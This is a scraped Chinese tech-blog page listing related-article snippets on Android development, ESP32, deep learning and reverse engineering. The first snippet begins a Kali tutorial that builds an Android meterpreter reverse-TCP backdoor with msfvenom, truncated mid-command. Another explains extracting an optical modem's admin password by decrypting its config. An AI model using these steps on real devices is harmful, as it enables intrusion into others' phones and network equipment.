墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
400+累计阅读
399平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
Kali 下对安卓手机的攻击
写在前面：本文仅限学术交流，请勿用他人实践 Kali对安卓手机的攻击（渗透） 我们首先需要确定本机IP 这很简单，对于Kali来说我们需要打开终端并键入 ifconfig 即可获取自己的IP，然后我们需要确定安卓手机也就是被攻击者的IP，只需键入 fping -g 本机IP地址/24 这时我们就能确定目标IP，这次教程主要围绕创建后门程序展开 在终端中执行： # msfvenom -p android/meterpreter/reverse_tcp LHOST=目标IP LPORT=
Android笔记
因此，为了避免这种情况的发生，我们建议在使用Gradle进行构建的时候，也应该尽量使用同一个版本的Gradle。这是因为Maven本身的主要职责是管理和协调各种依赖项，并在构建过程中将它们集成到最终的构建结果中，而Maven默认会下载相应的依赖项并将其放到一个本地仓库中，供项目使用。而在购物车界面中，由于可能存在大量订单数据以及多种付款方式，我们可以使用 Fragment 来管理下单界面、选择付款方式界面等子界面，并且这些子界面也可以被其他 Activity 共享使用。
安卓【Android studio】超全超详细的保姆级开发笔记
摘要 本文介绍了Android Studio开发环境配置与基础开发知识。首先详细说明了Gradle环境变量设置（GRADLE_USER_HOME）和阿里云镜像配置方法，以加速依赖下载。其次解析了项目目录结构和Activity生命周期，重点讲解了常用语法如setContentView()、findViewById()等。针对Intent机制，详细区分了显式/隐式Intent的用法，包括数据传递（Bundle）和结果反馈（ActivityResultLauncher）。文中配有环境配置截图和生命周期图示，为An
Android 开发笔记整理，比较全
安卓入门开发笔记，比较全面，零基础没有经验也可以看，记录了比较全面的术语和知识
android笔记全集
android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集android笔记全集
android笔记（一）
andorid学习笔记，第一部分，原创，亲测，没问题，放心使用。
Android学习笔记
Android学习笔记
UCD9081EVM电源时序管理：硬件配置与GUI操作全解析
电源时序管理是复杂电子系统设计的核心环节，它通过精确控制多路电源的上电/下电顺序，确保核心芯片免受浪涌电流或电压倒灌的损害。其原理基于状态机逻辑与电压监控，技术价值在于将硬连线时序转化为可编程配置，极大提升了系统可靠性与设计灵活性。在服务器、通信设备、工控系统等高可靠性应用场景中，时序控制器是实现稳定启动与故障保护的关键。本文以德州仪器UCD9081评估模块为例，深入剖析其硬件跳线配置与图形用户界面操作，涵盖I2C地址设置、电压监控分压计算、时序条件与故障响应策略等工程实践要点，帮助工程师快速掌握这一电源时
完整学习笔记之Android基础（详版）
欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来，用它写博客，将会带来全新的体验哦： Markdown和扩展Markdown简洁的语法 代码块高亮 图片链接和图片上传 LaTex数学公式 UML序列图和流程图 离线写博客 导入导出Markdown文件 丰富的快捷键 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl
【实战指南】RF-DETR目标检测全流程：从数据准备到工业部署
本文详细介绍了RF-DETR目标检测模型的全流程应用，从数据准备、模型训练到工业部署。RF-DETR作为基于Transformer的先进模型，在COCO基准测试中表现优异，推理速度超越YOLOv8，特别适合工业场景。文章还提供了数据标注、COCO格式转换、超参数调优及边缘设备部署的实用技巧，帮助开发者高效实现目标检测任务。
ESP32系列之LVGL（四）：输入设备（外部按键）对接
本文详细介绍了如何在ESP32上使用LVGL库对接外部按键作为输入设备，包括硬件连接、驱动层实现和LVGL输入设备移植。通过具体代码示例和实战案例，帮助开发者快速实现按键控制UI界面，解决常见问题如按键无反应和控件跳转不正常。
Android 学习笔记
Android 学习笔记最全 Android 常用开源库总结！Android DebugAdb常用命令收录Android studio 最全最好用的插件Android shape属性大全UMLAndroid改主题字体和字体大小Android Live Template(实时模板)的使用Android studio Debug设计模式GradleAppTheme属性设置集合Android中style和theme的区别Android Fragment 非常详细的一篇Fragment的replace、add、re
tewa-707e光猫超级密码获取方法
这款光猫很魔性，没有WIFI，没有USB接口，没有Telnet，试了很多方法去获取超级密码都不行。解密时可能会报错，可能是文件后面部分不晓得是咋拼接过来的，用AES解密时分组数据有问题。3、这个文件是用AES加密了的，直接打开是乱码，所以得用AES解密，key为16个字节的 x00。打开解出来的文件，然后搜索 telecomadmin，就可以发现超级密码了。参考资料里面的光猫不是同一款，但解密的方法基本相同的。
Android逆向-Frida入门学习笔记
前言 在日常分析安卓应用时，通常会有对应用进行hook的需求，用的比较多的hook框架有Xposed，frida，xhook等，正好最近接触Frida接触的较多，所以对Frida的一些常用操作做个记录，方便以后翻阅查询，同时也可以对学习frida的小伙伴有个参考的资料； 一般Frida逆向三阶段： 阶段一.分析程序执行逻辑，函数参数，函数返回值 阶段二.在1的基础上对数据进行修改，执行流程的控制，核心方法的调用 阶段三.在2的基础上实现对核心方法的封装调用,提供对外服务接口 1.FRIDA安装 1.1.安装
软件测试学习笔记（二）图覆盖
软件测试学习笔记（二）图覆盖 课程链接软件测试_中国大学MOOC 2.1 测试中的图 2.2 图覆盖准则 1、什么是图？ 点的集合和边的集合。点或者结点，有穷非空的集合。边是点对。 2、图为什么在软件测试中具有重要地位？ 所谓软件测试就是将软件变作一张图，然后覆盖它，不仅仅是软件，图更是计算机科学重要的结构。 3、软件测试中的图是如何得到的？ 常见的图可以来自源代码，常见的是控制流图，还有各种各样...
小红书直播弹幕采集
本文主要介绍小红书直播间弹幕的采集，便于进行直播数据监控与直播数据进行分析。
修改安卓定位代码_安卓从入门到进阶第五章（视图查看）
安卓学习过程中，很多时候需要查看视图，去定位问题，通过找寻的节点，进行代码检索，最终定位到流程，进行修改，分析源码。今天我们就来说说如何查看一个界面的视图。看不到进程，说明你用的不是eng版本，或者你的app不是调试版本。(系统开发，不用eng版本，你怎么发挥工具强大的能力)1我们使用Android Studio自带的工具：在菜单栏Tools ->Android -> Lay...
二十一.基于国民MCU 的增加M4F DSP库调用的验证
Cortex-M4F内核不仅内置硬件FPU单元，还支持多种DSP指令集，比如支持单周期乘加指令（MAC）等。因此Cortex-M4执行所有的DSP指令集都可以在单周期内完成，而Cortex-M3和M0需要多个指令和多个周期才能完成同样的功能。比如开方运算，M3和M0只能通过迭代法（标准数学函数库）计算，而M4F直接调用VSQRT指令完成。参考：\Nationstech.N32G45x_Library.1.1.1\Nationstech.N32G45x_Library.1.1.1\projects\n32g4
从0开始的安卓逆向入门
前言尝试安卓入门，网上没有全流程的基础教程，自己拼凑了多个教程，总体上比较详细。希望能提供帮助整体思路是，先查询apk信息，然后脱壳，然后反汇编出jar包，最后逆向出源代码。工具分别为apkscan-pkid、frida-dexdump、dex2jar、JD GUI 下载路径在后文给出。
clock min pulse width检查
高电平脉宽 = clock fall edge到达FF/CK的时间 - clock rise edge到达FF/CK的时间；低电平脉宽 = 下一T clock rise edge到达FF/CK的时间 - clock fall edge到达FF/CK的时间。而required pulse width是根据FF/CK处的transition，根据查找表计算得到的。为什么clock transition越大，会导致required pulse width越大呢？5、 降低clock上的串扰。
汉书HE8，好用的汇编代码编写工具
汉书HE8，好用的汇编代码编写工具早期编写汇编代码所用功能强大
安卓开发，Android和Flutter同级目录
repositoriesMode.set(RepositoriesMode.PREFER_SETTINGS)//修改这一行代码。// 传统 allprojects 配置（可能与新语法冲突）// jcenter() // 已废弃。3.第二个设置setting.gradle。2.创建 flutter项目层级。执行 flutter clean。3.项目build.gradle。// 修改为正确的相对路径。1.首先创建一个安卓项目。5.项目文件夹层级结构。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
安卓开发学习1-HelloWorld
配置gradle过程中会出现报错：原因是下载官方gradle失败。不影响正常使用，因为已经在镜像gradle下载过了。可以正常运行文件。
计算机控制技术及应用
《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术，以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索，主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式，计算机控制系统的数学描述与基本分析方法，以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。
【安卓渗透】JEB安卓动态调试（附安装教程及demo演示），黑客技术零基础入门到精通教程！
随着网络安全技术的不断发展，现在只会web测试已经不能满足市场需求了，要想更好的发展，咱得什么都了解一点，然后再朝自己喜欢的方向仔细深入。今天给大家带来安卓渗透基础教程，关于安卓的简单动态调试教程，咱们要使用到的工具有雷电模拟器、jeb动态调试工具以及一个聪明的脑子，一双灵巧的双手。闲话不多说，开始今天的学习。
大android 平板,15.6英寸安卓大平板？ 阿芙罗S1评测
15.6英寸安卓大平板？ 阿芙罗S1评测2014年07月25日 00:34作者：马承平编辑：马承平文章出处：泡泡网原创分享泡泡网一体电脑频道7月25日在这样一个各领域都充满跨界、混搭、多合一的年代，产品间的界限已经越来越模糊。特别是IT业界随着科技的发展，感谢上游厂商推出更快、更薄、更智能的芯片组，再融合整机厂商探索用户真正产品诉求后的大胆创新，变形类、多合一类的新品摆在我们眼前，为我们的生活\...
Unity 2019+导出安卓项目
Unity 2019+ 安卓项目 在Unity 2019+使用arm64 + IL2CPP导出的原生安卓项目会包括两个gradle项目 launcher unityLibrary Unity官方声明这样是为了把Unity的项目完全剥离出来，方便之后二次处理 Unity Forum Unity Android Combine 整合步骤 基于网络上的多方的整合信息和个人的处理，优化了一套最快捷方便的处理方式 导出Unity项目 创建AS项目 在项目级别的settings.gradle中添加引入项目声明
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
1万+
扫一扫
